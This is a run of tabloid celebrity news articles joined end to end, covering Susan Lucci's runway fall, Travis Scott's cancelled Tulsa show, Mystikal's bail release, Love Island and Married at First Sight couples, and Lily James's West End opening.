She thankfully was able to stay on her feet during the red carpet, after taking her now-infamous fall in stride with a smile.

Back in red: Susan Lucci looks glamorous in yet another red dress, just days after taking a spill at a charity event while wearing a different, billowing red gown

Lucci takes a spill: Actress Susan Lucci walked the runway for an American Heart Association event and took a spill in a red dress, days after it was revealed she had heart surgery in October

The soap opera legend looked stunning in a full-length red dress with a slit up the middle.

She also wore dangling silver earrings, plus a silver bracelet on her right arm and a few rings as well.

Ali Wentworth hosted the event at The Appel Room at Frederick P. Rose Hall, home of Jazz at Lincoln Center, which honored Angela Bassett and Chandra Wilson.

Susan in red on the red carpet: The soap opera legend looked stunning in a full-length red dress with a slit up the middle

Tuesday's event came just five days after Lucci walked the runway at The American Heart Association's Go Red For Women Red Dress Collection 2019 at the Hammerstein Ballroom.

Her appearance came just months after she went under the knife herself to have heart surgery in October.

During her runway walk, the All My Children star accidentally stepped on her flowing red dress, causing her to take a spill, but she took it in stride with a sense of humor.

Stepping on the dress: During her runway walk, the All My Children star accidentally stepped on her flowing red dress, causing her to take a spill, but she took it in stride with a sense of humor

Tremendous grace: Journalist Mara Schiavocampo captured video of Lucci's fall on Twitter , applauding the actress for showing, 'tremendous grace after falling on the runway'

Standing O: She added that the actress, 'Gets up to a standing ovation'

Journalist Mara Schiavocampo captured video of Lucci's fall on Twitter, applauding the actress for showing, 'tremendous grace after falling on the runway.'

She added that the actress, 'Gets up to a standing ovation.'

The actress looked elegant as ever while making the runway walk, seen in the video lifting the massive red dress as she walked the runway, but as she made her turn to go back, she took a fall.

Tumble: The actress looked elegant as ever while making the runway walk, seen in the video lifting the massive red dress as she walked the runway, but as she made her turn to go back, she took a fall

Grace under pressure: After the audience gasped briefly after the fall, the crowd started clapping and cheering as she made it to her feat, no small feat in a dress of that magnitude

After the audience gasped briefly after the fall, the crowd started clapping and cheering as she made it to her feat, no small feat in a dress of that magnitude.

She hopped up to make sure the dress was clear of her heels, and then made her way to the crowd to shake a man's hand after the tumble.

Lucci then blew kisses to the crowd and waved before she turned and walked off the runway to a standing ovation.

Standing up: She hopped up to make sure the dress was clear of her heels, and then made her way to the crowd to shake a man's hand after the tumble

Blowing a kiss: Lucci then blew kisses to the crowd and turned and walked off the runway to a standing ovation

Ironically, Lucci revealed in an interview with People on Wednesday that she had an emergency heart procedure in October.

She was taken to nearby St. Francis Hospital where she had a CT scan that revealed a 90% in her main artery, and a 70% blockage in another artery.

Lucci said that she was 'shocked' to learn about the 90% blockage, adding she's lucky to be alive, which her cardiologist, Holly Andersen, Associate Professor of Medicine at the Ronald O. Perelman Heart Institute at New York Presbyterian Hospital and Weill Cornell Medical Center, agrees with.

'Had she gone home, that 90 percent blockage could have become 100 percent and she could have suffered a significant heart attack or even sudden death,' Anderson said.'

Heart procedure: Ironically, Lucci revealed in an interview with People on Wednesday that she had an emergency heart procedure in October

Tightness: The actress said she felt a 'tightness' in her chest last October, and while that went away, it returned 10 days later, when she thought maybe she, 'fastened my bra too tightly'

Chest pains: Then on October 23, while she was shopping at Tory Burch in Long Island, she said, 'It felt like an elephant pressing down on my chest'

Runway red: She was taken to nearby St. Francis Hospital where she had a CT scan that revealed a 90% in her main artery, and a 70% blockage in another arteryTravis Scott canceled Monday night's Astroworld Tour concert in Tulsa, Oklahoma, and fans weren't happy.

The rapper tweeted that the gig was being rescheduled to March 26 because of 'production issues.'

The abrupt cancellation just a couple of hours before the sold out show was due to start left many fans fuming.

Video shows the fans outside the venue attempting to storm the doors before security pepper-sprayed the crowd.

Postponed: Travis Scott canceled Monday night's Astroworld Tour concert in Tulsa, Oklahoma, just a couple of hours before the sold out show was due to start, leaving many fans fuming

Apology: The rapper, 26, tweeted that the gig was being rescheduled to March 26 because of 'production issues'

Frustrated: Video posted to social media showed the crowd outside the venue and at one point trying to get in through the glass doors

At 5:30 p.m. local time, Kylie Jenner's baby daddy tweeted: 'Tulsa so sorry I cant perform at tonights sold out show.'

'We had last minute production issues and I cant give yall an incomplete show. Rescheduled to March 26 all tix still valid. Everyone get home safe.'

However, a large group remained outside the BOK Center that had a 'Postponed' sign on its marquee.

Disorder: A large group of disappointed fans remained outside the BOK Center chanting 'Let us in!' and trying to rush the glass doors to the arena. No arrests were made

According to TMZ, the crowd started chanting 'Let us in!' and tried to rush the glass doors to the arena.

One person threw a water bottle cracking some of the glass before the group ran away.

Tulsa PD told TMZ Tuesday morning no arrests were made and no injuries were reported but investigators continue to try and identify anyone who was involved in vandalism.

Scott, 26, is due to perform Wednesday night in his hometown of Houston, Texas.

Next gig: Scott, 26, is due to perform Wednesday night in his hometown of Houston, Texas, as his Astroworld Tour continues. Pictured on stage in Las Vegas February 6

Red carpet: On Sunday, Scott was accompanied to the Grammys with baby mama Kylie Jenner. He had received three nominations but went home empty handed

This comes after he took the stage at Sunday's Grammys to perform a medley of songs from Astroworld.

He received three nominations - Best Rap Performance and Best Rap Song for Sicko Mode and Best Rap Album for Astroworld.

But he went home empty handed.She recently revealed she's set to dance for a whopping 24 hours for charity next month.

And Claudia Winkleman enjoyed some time off from training ahead of her exciting stint as she headed out for dinner with husband Kris Thykier at grill restaurant 34 Mayfair in London on Tuesday evening.

Proving to be in good company, the presenter and film producer, both 47, were joined by close pals Michael McIntyre, 42, and his wife Kitty for a double date.

Date night: Claudia Winkleman headed out for dinner with husband Kris Thykier at grill restaurant 34 Mayfair in London on Tuesday evening

Putting on a typically stylish display, the Strictly Come Dancing host wrapped up in a navy double-breasted coat, turtleneck jumper and indigo skinny jeans.

The former Let's Sing and Dance presenter added a touch of glamour to her look with a pair of pointed patent heels, and toted a rectangle-shaped clutch bag.

Claudia opted for her signature make-up look as she sported a smudged smokey eyeshadow, and styled her tresses into a straight fashion.

Double date night: Proving to be in good company, the presenter and film producer, both 47, were joined by close pals Michael McIntyre, 42, and his wife Kitty

Turning heads: Putting on a typically stylish display, the Strictly Come Dancing host wrapped up in a navy double-breasted coat , turtleneck jumper and indigo skinny jeans

Standing tall: The former Let's Sing and Dance presenter added a touch of glamour to her look with a pair of pointed patent heels, and toted a rectangle-shaped clutch bag

Hilarious: Claudia covered her mouth as she giggled away in the back of the car

Earlier that day, Claudia and Strictly co-presenter Tess Daly, 49, vowed to floss, dab and salsa for 24 hours in the longest danceathon ever for Comic Relief, hosted by Radio 2.

During an interview on This Morning, brunette beauty Tess defiantly claimed she was up for the gruelling 24-hour challenge, despite having never been to the gym and being adverse to sweating.

Claudia confessed: 'I have never been to the gym. I went once, had a glass of water, pivoted and left. I dont like sweating. I am 47, its over. Me doing the salsa would be repellent. The Mama Mia cast and Jamie Oliver are all coming in.'

The mother-of-three did, however, question how she was going to manage to stay up when she admitted she likes a cheeky snooze every three hours.

Laugh out loud: The foursome had a great double date as they headed home while laughing

Breaking records: Meanwhile, on Tuesday's edition of This Morning, Claudia and Strictly co-presenter Tess Daly, 49, vowed to dance for 24 hours for Comic Relief , hosted by Radio 2

Claudia made the candid admission: 'How are we going to stay up for 24 hours? I sleep every three hours.'

Tess responded: 'We are enthusiastic kitchen dancers, not professionals.'

Luckily for the Strictly presenting duo, Mary Berry will be on site to bribe the pair with cake as well as bribe them with chocolate to keep them going. Claudia said: 'Mary Berry will be there with cake.'

Strictly Come Dancing's Claudia and Tess will take part in the tough challenge on Monday March 11 until Tuesday 12.Rapper Mystikal is finally getting to breathe free air once again, after spending a year and a half behind bars on rape charges.

The 48 year old rapper (real name Michael Lawrence Tyler) secured his release from a Louisiana prison after posting a hefty $3 million bond, according to TMZ.

Mystikal's attorneys said they were able to put together the $3 million needed for his release through an advance on a new recording deal, plus donations from friends and family.

Mystikal Released from Prison After Posting $3 Million Bond in Rape Case https://t.co/puRN2VnDNq  TMZ (@TMZ) February 12, 2019

Set free: Rapper Mystikal is free on $3 million bail after spending 18 months in prison on a rape case

Mystikal had been locked up since August 2017 when he turned himself to Caddo Parish Sheriff's Department after a woman came forward claiming he raped her.

The alleged incident happened in 2016, at a casino where Mystikal was performing, but no further details were revealed.

The rapper's attorney, Joel Pearce, said Mystikal's friends and family have been trying to raise money to secure his release, but their efforts were bolstered by a new recording deal.

TMZ also reported in January that another one of Mystikal's attorneys, Tim Yazbeck, said he has a new recording deal for three unreleased albums.

Turned himself in: Mystikal had been locked up since August 2017 when he turned himself to Caddo Parish Sheriff's Department after a woman came forward claiming he raped her

New albums: TMZ also reported in January that another one of Mystikal's attorneys, Tim Yazbeck, said he has a new recording deal for three unreleased albums

His legal team claimed then they hoped to have him out of prison by the end of that week, but it seemingly took a bit longer than anticipated.

'It's been a long time coming for Mike, but now he can get back to being the artist he is, doing what he loves, and seeing his kids again,' Yazbeck said in a statement.

The rapper will be free until his pending trial on the charges of first-degree rape and second-degree kidnapping in May.

The rapper's other attorney, Pearce, said that he's confident in the case they have built for the upcoming trial, where he'll plead not guilty.

Out on bail: The rapper will be free until his pending trial on the charges of first-degree rape and second-degree kidnapping in May

'Based on all of the evidence we have, we strongly believe that an amicable resolution is not only possible but probable as an outcome in this case and that Michael Tyler will never be made to return to jail for a crime he didn't commit,' Pearce said.

Mystikal rose to fame in the early 1990s, with his self-titled album released in 1994 by New Orleans label Big Boy Records, which made him a target of rival New Orleans label Cash Money Records.

He joined No Limit Records in 1996, where he released 1997's Unpredictable and 1998's Ghetto Fabulous, while also appearing on a number of No Limit songs and albums.

He signed with Jive Records and released the 2000 album Let's Get Ready, his only album to debut atop the Billboard 200 record charts, which included the popular hit Shake Ya A**.

Music career: Mystikal rose to fame in the early 1990s, with his self-titled album released in 1994 by New Orleans label Big Boy Records, which made him a target of rival New Orleans label Cash Money Records

No Limit: He joined No Limit Records in 1996, where he released 1997's Unpredictable and 1998's Ghetto Fabulous, while also appearing on a number of No Limit songs and albumsGreat Australian Bake Off host Claire Hooper has opened up about working as a phone sex operator when she was a struggling young comedian.

The 42-year-old brought up her three-week stint as a joking solution to a question posed on Hughesey We Have a Problem on Tuesday night.

Host Dave Hughes and the panel were discussing the quandary of a young doctor who hated her profession, but didn't want to disappoint her proud father by quitting.

Claire Hooper has opened up about working as a phone sex operator for three weeks when she was a struggling young comedian. She made a point of how brief her stint was

'Here's my suggestion: When I was young and out of work briefly, my friend got me a job doing phone sex,' Claire said.

'When I told my mum about it she was so disappointed that ever since then any job I get she's just happy it's not phone sex.'

Claire joked that the viewer could abandon her medical career to be a phone sex worker, and then any future profession would seem good by comparison.

She also said there would probably be a market in the woman marketing her services as a 'dirty doctor'.

After further prompting, she revealed her go-to line was: 'I've just got out of the shower, I'm only wearing a t-shirt'.

Claire admitted this showed how little effort she put into the job at the time. 'Yawn, easy, phoning it in,' she said as a pun.

The former Good News Week regular said she was given bonuses for keeping callers on the phone for a long time, but it wasn't worth it

Claire rarely speaks in public about this embarrassing part of her life, but it is a regular feature of her stand up routines

The former Good News Week regular said she was given bonuses for keeping callers on the phone for a long time, but it wasn't worth it.

'If you weigh up the bonus for the effort, you always prefer to get an 18-year-old who only needs two minutes of your time and then you can get back to reading your magazine,' she said.

Claire rarely speaks in public about this embarrassing part of her life, but it is a regular feature of her stand up routines.

The topic kicked off her show at the Perth Fringe Festival a year ago and she referred to the experience as being 'psyche-damaging' at another session in 2014.Dino Hira, 35, and 'wife' Melissa Lucarelli, 38, have struggled to form a deep bond on Married At First Sight.

And the future of Australia's most unlikely reality TV couple has been thrown into question after Dino and Melissa were spotted looking incredibly bored outside an aerial yoga studio during filming last year.

The spiritual stripper and his zany talent agent 'wife' struggled to hide their disinterest as they arrived at the North Sydney location ahead of their high-flying date.

Sick of each other already? MAFS couple Dino Hira, 35, and 'wife' Melissa Lucarelli, 38, were spotted looking incredibly bored outside an aerial yoga studio during filming last year

Clad in her activewear, Melissa was seen yawning and adjusting her ponytail as she stood almost a metre apart from Dino on the sidewalk.

At one stage she even heaved and looked to the heavens in a moment of exhaustion.

Meanwhile, a puzzled-looking Dino was spotted gazing off into the distance while scratching his head.

Nothing to talk about? Clad in her activewear, Melissa was seen yawning and adjusting her ponytail as she stood almost a metre apart from Dino on the sidewalk

Not impressed? At one stage she even heaved and looked to the heavens in a moment of exhaustion

Caught in a moment of meditation? Meanwhile, a puzzled-looking Dino was spotted gazing off into the distance

Perhaps contemplating the status of his marriage, the meditation enthusiast also spent time playing with his wedding ring and biting his fingernails.

The sight was very different to the couple's aerial yoga date which played out on national television this Tuesday.

During the episode, Melissa and Dino looked elated as they enthusiastically twirled from the ceiling.

Is everything OK? Perhaps contemplating the status of his marriage, the meditation enthusiast also spent time playing with his wedding ring and biting his fingernails

TV Vs reality: The sight was very different to the couple's aerial yoga date which played out on national television this Tuesday

It's not the first time Dino and Melissa have displayed awkward body language in public.

According to relationships expert Holly Bartter, the couple looked more like work colleagues than newlyweds during their televised nuptials.

'They look more like colleagues when they're together,' she said, describing Dino and Melissa as this season's most 'awkward' couple.

'For Dino, it's all about the connection but for Melissa it doesn't spark in a realistic way for her. He's just going too overboard.'

Defying gravity! Later, Melissa was spotted looking enthusiastic as she twirled from the ceiling inside the aerial yoga studioShe's the California girl who rose to fame Down Under thanks to her popular fashion website, A Bikini A Day.

And Devin Brugman made the most of Sydney's heatwave on Tuesday, stripping down to a yellow two-piece at Bondi Beach.

In footage shared to Instagram, the 28-year-old model flaunted her sensational curves while soaking up the sun.

Busting out! American bikini model Devin Brugman (pictured) showed off her ample cleavage after stripping down at Sydney's Bondi Beach on Tuesday

Devin oozed confidence as she showed off her bronzed figure in a low-cut bikini top and matching tie-side bottoms.

The U.S.-born model completed her look with a pair of designer sunglasses.

Meanwhile, it seems the businesswoman has spent much of her time in Australia enjoying the country's beaches.

'Youre my sunflower': Devin oozed confidence as she showed off her bronzed figure in a low-cut bikini top and matching tie-side bottoms

Relaxed: Devin has spent much of her time in Australia enjoying the country's beaches

Just last week, she paid another visit to Bondi Beach, but this time turned heads in a skimpy leopard print bikini.

'Summer in February, lucky me,' she captioned a photo of herself on Instagram.

Devin launched her blog A Bikini A Day with fellow model Natasha Oakley in 2012.

'Summer in February, lucky me': Just last week, she paid another visit to Bondi Beach, but this time turned heads in a skimpy leopard print bikini

Two years after becoming social media superstars, the pair co-founded the popular bikini brand Monday Swimwear.

They later branched out into activewear, opening the Monday Active online store in 2016.

Devin boasts more than one million followers on Instagram, and regularly shares photos of her globetrotting adventures with Natasha.She recently enjoyed a cameo role with Nathan Henry starring in Lindsay Lohan's Beach Club reality television show.

But Sophie Kasaei was back to party up a storm in the UK, as she attended the Freda Funk Valentines Bloggers Event at Parea in Cheshire, on Tuesday.

The Geordie Shore star, 29, showcased her stunning curves in a form-fitting black dress, which had a lace bralet-style top to accentuate her ample assets.

Stylish: Geordie Shore's Sophie Kasaei showcased her stunning curves in a black dress as she put on an animated display with Charlotte Dawson on gal's night out in Cheshire on Tuesday

Sophie boosted her height in a pair of clear high heels, while she kept her personal items in a sleek black handbag.

The beauty wore her raven locks in a chic up-do which she styled with a middle parting, while she wore a glamorous palette of make-up for the outing.

Joining Sophie was her gal pal Charlotte Dawson, 26, and the pair put on a very animated display as they headed to the glamorous event.

Chic: Sophie boosted her height in a pair of clear high heels, while she kept her personal items in a sleek black handbag

Striking: Charlotte stepped out in a two-toned dress, which had a polka-dot print on one side and a snakeskin design on the other

Charlotte stepped out in a two-toned dress, which had a polka-dot print on one side and a snakeskin design on the other.

Featuring a daring side-slit to show off a generous glimpse of her slender legs, she cinched her outfit at the waist with a Gucci belt.

The Ex On The Beach star completed her look by wearing a polka-dot headband, and stepping out in black statement heels.

Earlier on: Sophie and Charlotte arrived at the venue in quite different outfits though, as they stepped out in stylish PJ-style ensembles

Comfy: Charlotte wore a sleek leopard-print PJs which she paired with fluffy black sandals

Sophie and Charlotte arrived at the venue in quite different outfits though, as they stepped out in stylish PJ-style ensembles.

Charlotte wore a sleek leopard-print style two-piece which she paired with fluffy black sandals.

While Sophie opted to step out in a grey crop top and matching trousers, and her ensemble ensured she could show off her slender midriff.

But that wasn't the only ensemble that Charlotte wore that night, as she was also seen in a chic red gown as she posed up a storm with Che Mcsorley and Leonie Mcsorley.She announced on Monday that she and her Love Island beau Adam Collard had split up.

And as he made his return to social media, reports emerged that Zara McDermott is already being eyed up by Celebs Go Dating bosses, who are said to be keen to sign up the newly single star for the next series of the E4 show.

The former Government adviser, 22, is reportedly 'exactly' the type of character producers want on the show, because she's outspoken and comes with a huge Love Island following.

Next reality show? Just two days after her split from Adam Collard, Zara McDermott, 22, is reportedly being eyed up by Celebs Go Dating bosses

A source told The Sun Online: 'She's gorgeous, fun and clever - she'll keep the men on their toes and won't be afraid to speak her mind.

'Producers know that Love Island stars come with a legion of loyal fans to watch their show.

'Everyone will be desperate to see what type of guy Zara goes for next.'

If Zara does indeed appear on the next series of Celebs Go Dating, she will follow in the footsteps of her Love Island co-stars including Georgia Steel, Eyal Booker and Jack Fowler.

Back at it: As news of Zara's potential stint on the E4 dating show broke, Adam returned to social media following their split to share a topless selfie

What's going on? The position of Adam's arms hid his 'Z' tattoo, which he got in tribute to his ex-girlfriend, during their relationship - and the move didn't go unnoticed by his followers

MailOnline has contacted Celebs Go Dating and Zara McDermott's representatives for comment.

Meanwhile, as news of Zara's potential stint on the E4 dating show broke, Adam returned to social media following their split.

Taking to Instagram, the heavily tattooed reality star shared a topless selfie, which displayed many of his inkings.

However, the position of Adam's arms hid his 'Z' tattoo, which he got in tribute to his ex-girlfriend, during their relationship - and the move didn't go unnoticed by his followers.

While the Love Island hunk captioned the snap: 'more drawings please,' fans took to the comments section of his post to quiz him about the absent tattoo.

Fresh: Adam also took to his Instagram Stories to show his fresh haircut

Pump it! He also shared a video of himself working out in the gym

It's over: They had been together for around eight months

One confused follower asked: 'Wait what have u done with your Z tattoo' while someone else quizzed: 'What about your Z for Zara on there!'

Adam also took to his Instagram Stories to show that he'd treated himself to a fresh haircut, and was back in the gym.

Zara and Adam dated for eight months. The former government adviser told her Instagram followers on Monday afternoon she is 'heartbroken' to have parted ways from the personal trainer after 'trying so hard to make it work'.

Adam and Zara's split means only one couple from the 2018 series of Love Island remain together; show winners Dani Dyer, 23, and Jack Fincham, 27.

Breaking point: Just days ago, Adam and Zara were said to be 'on the rocks' over his recent night out with Instagram model Brittany Archer, according to The Sun

Zara's impassioned post read: 'I am heartbroken to announce that Adam and I have parted ways.

'I love him very much and will always have a special place in my heart for him & our time spent together. I have tried so hard to be the best person I can possibly be and to make it work.

'Sometimes in life, you just aren't enough for someone; no matter what you do for them or how much you try to be.

'For everyone asking if I'm ok, I don't know that I am. But I know that soon I will be. I will be strong and prove to myself that I can get through this. Love always, Zara x.'

Heartbroken: On Monday afternoon, Zara, 23, took to Instagram to confirm news of the split

The exes  who recently returned from a break in Dubai  have taken the ultimate step in cementing their split by unfollowing each other on Instagram.

While Adam has yet to release a public statement on his split, the reputed Lothario hasn't wasted any time getting back onto the social scene.

On Sunday night, he was seen out and about in his native Newcastle, cosying up a mystery brunette, while partying with a group of pals.

The musclebound hunk grinned broadly as he walked into the popular Empress Bar with his pretty companion on his arm.

Last week, Zara took to Instagram to share a defiant snap of herself hand-in-hand with Adam, adding a heart emoji to the picture.

The ending? Things were reportedly uncertain between the pair after a night of wild partying with Instagram model Brittany Archer according to The Sun

Jaw-dropping: A source claimed that Zara was furious to discover Adam had been a raucous night out in Kent with Instagram model Brittany Archer (above)

Things were reportedly uncertain between the pair after a night of wild partying with Instagram model Brittany Archer according to The Sun.

A source told the publication that they were spending time apart following a huge row between the couple, after it was revealed he enjoyed the raucous evening with Brittany in Maidstone last week.

Adam and Zara were one of only two Love Island 2018 couples that are still together  along with Jack Fincham and Dani Dyer  and surprised many fans of the hit reality show with their relative longevity.

Zara was reportedly furious when she heard that Adam was on the night out with Jack and Instagram model Brittany at a hotel in Maidstone earlier this month.

Going the course: They got together on Love Island last summer, with many fans believing they wouldn't go the course, as musclebound Adam became known for his roving eye

Brittany  no stranger to a scantily clad social media snap  boasts 19,000 followers on Instagram, and regularly posts updates around her latest shoots and holidays.

The night out in question was the same time when Adam's Love Island co-star Jack Fincham confessed he had snorted cocaine, and went onto brand it a mistake after 'mixing in the wrong circles.'

Following an argument regarding his evening with Brittany, Adam was said to have travelled back to Newcastle for a break, days before their split was announced.

A source said at the time: 'As a girlfriend it isn't always comfortable to see your partner partying with other women you don't know.

Social media: The pair were featured heavily on each other's Instagram accounts over the past several months, as their romance blossomed and they enjoyed many a lavish getaway

Scary: A source has also claimed that after a furious row Adam recently travelled back to Newcastle for a break from his relationship

'Their fall out has come at a really bad time as they are due to fly to the Maldives next week as part of a lucrative deal.

'They do still love each other and are trying to make their relationship work but things have not been good recently.'

The source added that the pair were trying to show that all was well in their romance by posting loved-up snaps, but their relationship remained at breaking point.

MailOnline previously contacted representatives for Adam Collard, Brittany Archer and Zara McDermott for comment.

Unfollowed: As of Monday, the exes  who recently returned from a break in Dubai  are still on each other's social media accounts, although they have unfollowed one anotherShe currently plays the lead female role in West End production All About Eve.

And Lily James celebrated the opening night of her new play in style as she joined co-star Gillian Anderson at a glitzy afterparty, held at The Waldorf Hilton in London on Tuesday evening.

The Downton Abbey actress, 29, commanded attention as she slipped into a monochrome polka dot maxi dress, embellished with detailed pleating throughout.

Treading the boards: Lily James celebrated the opening night of her new play All About Eve in style at a glitzy afterparty, held at The Waldorf Hilton in London on Tuesday evening

Turning heads with her striking display, the screen star's bold ensemble also featured trendy oversized sleeves to add even more pazzazz to her look.

The Surrey native enhanced her height in a pair of classic pointed court heels and accessorised with dainty hooped earrings.

War and Peace star Lily swept her blonde locks into a chic bun to reveal her stunning features, which were accentuated with matte foundation and glossy rose-tinted lipstick.

The Fall star Gillian, 50, caught the eye in a two-tone gown, featuring an asymmetric satin bodice.

Beaming: Joined by co-star Gillian Anderson, the Downton Abbey actress, 29, commanded attention as she slipped into a monochrome polka dot maxi dress, embellished with detailed pleating

Looking good: Turning heads with her striking display, the screen star's bold ensemble also featured trendy oversized sleeves for a pop of pazzazz to her look

Radiant: The Surrey native enhanced her height in a pair of classic pointed court heels and accessorised with a pair of dainty hooped earrings

Close: Lily appeared in high spirits as she shared a hug with co-star Gillian, 50

Turning heads: The Mamma Mia star made a stylish entrance as she arrived at the Noel Coward theatre

Doting boyfriend: Her boyfriend Matt Smith was right by her side to support her on her big night

Excited: Lily appeared in high spirits as she posed with Gillian

Star of the show: Johnny English actress Gillian plays legendary Broadway star Margo Channing, whose career is threatened by her number one fan Eve, portrayed by Lily

Beaming for the camera: Freddie Fox also joined Lily for the opening night and looked dapper in a black pinstripe suit

Flashing a hint of her pristine red pedicure, the Sex Education actress sported a pair of black strappy heels.

Mamma Mia star Lily joins Gillian to tread the boards in Ivo van Hove's new stage adaptation of the 1950 Bette Davis film.

Johnny English actress Gillian plays legendary Broadway star Margo Channing, whose career is threatened by her number one fan Eve, portrayed by Lily.

As ruthless and ambitious as she is beautiful, Eve has to contend with cynical theatre columnist Addison DeWitt on her rise to the top.

The whole cast: Lily posed with (L-R) Ian Drysdale, Monica Dolan, Gillian, Alexandra Mankiewicz, Sheila Reid, Julian Ovenden, Rhashan Stone and Stanley Townsend

Style savvy: The Sex Education actress caught the eye in a two-tone gown, featuring an asymmetric satin bodice

In good company: The blonde beamed with delight as she joined her mother Ninette Thomson at the event

Off she goes: On her departure, Chicago native Gillian wrapped up in a vibrant red jacket

Fan favourite: The Hannibal star stopped to take selfies with keen fans following her opening night on the stage

All eyes on her: The Mamma Mia actress currently plays the lead female role in the West End production

Plot: As ruthless and ambitious as she is beautiful, Eve, played by Lily, has to contend with cynical theatre columnist Addison DeWitt on her rise to the top.

Off she goes: Following a long night, Lily hopped into a black cab with her beau Matt, and her mother Ninette

X Files star Gillian has big shoes to fill as she takes over from screen legend Davis, while Lily's role was played by Anne Baxter in the original film.

All About Eve received a total of 14 Academy Award nominations, winning six Oscars in total including Best Film, and remains the only film in history to receive four female acting nods.

Directed and written by Belgian experimental artist van Hove, the play features music by PJ Harvey, set and lighting by Jan Versweyveld, costume design by An DHuys and sound design from Tom Gibbons.

Completing the cast in the highly anticipated production are Monica Dolan, Ian Drysdale, Tsion Habte, Jessie Mei Li, Julian Ovenden, Sheila Reid, Rhashan Stone, Stanley Townsend and Philip Voyzey.

Doting boyfriend: Earlier that night, Matt, 36, threw his support behind his girlfriend Lily as he was also in attendance at the event

Star-studded: The event proved to be a star-studded affair as Thor star Tom Hiddleston (pictured), model Twiggy and Jennifer Saunders were all in attendance

Beaming: The Othello actor, 38, appeared in high spirits as he hit the red carpet before watching the play

Looking good: Jennifer Saunders wrapped up against the chilly conditions in a black fluffy jacket

Dapper: Elton John's husband David Furnish looked typically suave in a navy tailored suit and snakeskin loafers

Their big moment: Lily and Gillian were joined by director Ivo Van Hove

Earlier that night, Matt Smith threw his support behind his girlfriend Lily as he was also in attendance at the event.

The Crown actor, 36, cut a typically dapper figure as he rocked a sleek black jumper and crisp shirt for the occasion.

Maintaining his suave display, the screen star finished off his appearance with a trendy trench coat and classic Oxford shoes.

The event proved to be a star-studded affair as Thor star Tom Hiddleston, model Twiggy and Jennifer Saunders were all in attendance.

Radiant: Indira Varma (L) and Anneka Rice (R) beamed with delight as they were also in attendance

Family affair: Supermodel Twiggy, 69, enjoyed a mother-daughter outing with her child Carly Witney, 41

Lookalike: The pair both opted for comfort in the footwear department as they sported chunky white trainers

Date night: Sex Education stars Aimee Lou-Wood and Connor Swindells appeared smitten as they arrived at the event arm-in-arm

Despite taking the decision to slow down, Lily's stint in the play came after she admitted she is considering slowing down to focus on her relationship with her actor beau.

The Cinderella actress, who has been in a relationship with Matt for over four years, stressed she finds it difficult to strike the perfect work-life balance and she confessed she misses 'so much' because of working.

'You have to trust that things wont go away if you stop for a bit,' she told Marie Claire. 'I havent really stopped, and I dont think thats a feasible way to work. For me, eventually, thats not the lifestyle I want.

Winter wardrobe: Actress Emma Mackey displayed her flair for fashion in a oversized navy and green checked scarf

Stylish: Worried About the Boy star Freddie Fox looked sharp in a tweed jacket at the play

Happy: Infamous' Toby Jones flashed a wide smile as he graced the red carpet

''Thats not only with regards to my relationship with Matt, but with my friends and family. Theres so much you miss. Thats why I know I cant keep working at this intensity. I finish a job; Matt starts one.

Lily also revealed that they are in the process of buying a place together as they take their relationship to the next level.

I used to go to work  to Downton Abbey  at 5am, and everyone would still be partying. It was like Vegas,' she said. 'Id be like, Keep going, Ill be back in ten hours!She is the mother-of-four children, giving birth to her fourth child Goldie in December, 2017.

And Lindy Klim's best friend Tanja Gacic couldn't help but marvel over the fashion designer's incredible post-pregnancy figure as the two gal pals hit Bondi Beach on Tuesday.

Posting a picture of Lindy wearing a beige and black Zimmermann polka dot bikini on her Instagram stories - fellow fashionista Tanja gushed: 'This woman has had 4 children and has not been Facetuned'.

'This woman has had 4 children and has not been Facetuned': Lindy Klim's best friend Tanja Gacic marveled over mother-of-four's incredible bikini body during a day at Bondi Beach on Tuesday

'Yeah, I want some of what she's having too, where the hell is my magic potion?' she added.

Tanja is based in Bondi while Lindy splits her time between Bali and Australia, and the pair often catch up when they are visiting each other's hometown.

Lindy, who is the ex-wife of Olympic Swimmer Michael Klim, shares three children with her former partner - Stella, 12, Rocco, 10, and Frankie, seven.

Reunited: The pair lapped up the summer heat during their girl's day out

Lindy married her handsome UK property developer beau Adam Ellis in August last year in a lavish Italian wedding, and they are parents to Goldie.

In October, Lindy told The Morning Show that motherhood has been somewhat challenging the forth time around because she has 'forgotten certain things.'

She said she's forced to Google certain things because she doesn't remember everything she learned the last time she had a baby.

Good to be back! Lindy has returned to Australia for a short stay in Sydney

Favourite suit? Lindy has rocked her beige and black polka dot bikini several times in the past

'Motherhood is great, it all comes back to you after a while and I often do a lot of Googling because I have forgotten certain things,' she said.

'[It's] because there's a huge age gap between all the children.

She added: 'I love it, I'm much more relaxed this time around.'Kim Kardashian is being sued for at least $100million by a developer who claims she cut him out of her successful Kimoji app.

David Liebensohn has filed new legal documents claiming that after teaming up with Kim to promote his anti cyberbullying app CensorOut, she then agreed to work on a new app with him and his partners.

In the papers Liebensohn claims he designed the Kimoji app, based upon an agreement with Kim that he and his partners would take 60per cent of profits, reports TMZ.

Kim Kardashian sued for $100m by developer who claims he was behind Kimoji app... but was cut out of deal; she is seen last year using a Kimoji phone case

He claims to have named the app, but says he agreed Kim could register the trademark to keep things simple.

However, he says, after Kim filed the Kimoji trademark in 2014, she contacted him to back out of the deal - saying one of his partners had shared her personal information.

In the papers he claims Kim already knew about this and was keen to proceed with the app.

Legal action: Kim, seen last year, is being sued

Popular: Kim's Kimoji app was a sensation when it first launched

Kim's lawyer previously told PageSix that Liebensohn's partners had settled their case back in 2014.

Liebensohn told PageSix he had declined an offer to settle the case for $150,000 and 5per cent of future profits.

Kim's lawyer Marty Singer commented on the matter in a later statement to TMZ, saying: 'The lawsuit filed against Kim Kardashian is ridiculous and absurd. The parties entered into a binding settlement agreement 2014 in which Kim gave up multi-million dollar claims against Mr. Liebensohn and his partners.

'Mr. Liebensohn waited more than 4 years to claim the agreement wasn't binding on him. Kim commenced an arbitration in December 2018, and after Mr. Liebensohn was unsuccessful in stopping the arbitration he filed this meritless lawsuit. We feel very confident we will get the case dismissed.'Married at First Sight viewers have accused the show's producers and cast member, Lauren Huntriss, of making a mockery of LGBT issues.

On Monday night's episode, the 31-year-old makeup artist told her husband, Matt Bennett, that she 'used to be a lesbian' - and the revelation sparked outrage.

Media expert, Nicole Reaney of InsideOut Public Relations, told Daily Mail Australia this week that viewer backlash is warranted.

'This insults the LGBT community so much': Critics slam MAFS 'bride' Lauren Huntriss (left) after she told her 'husband' Matt Bennett (right) that she 'used to be a lesbian'

'These kinds of 'revelations' have been used in other reality shows as a tactic to hook in an audience,' she said.

'Audiences are getting tired and offended by these attempts. A little more consideration needs to be taken these days to ensure language aligns with societal values.

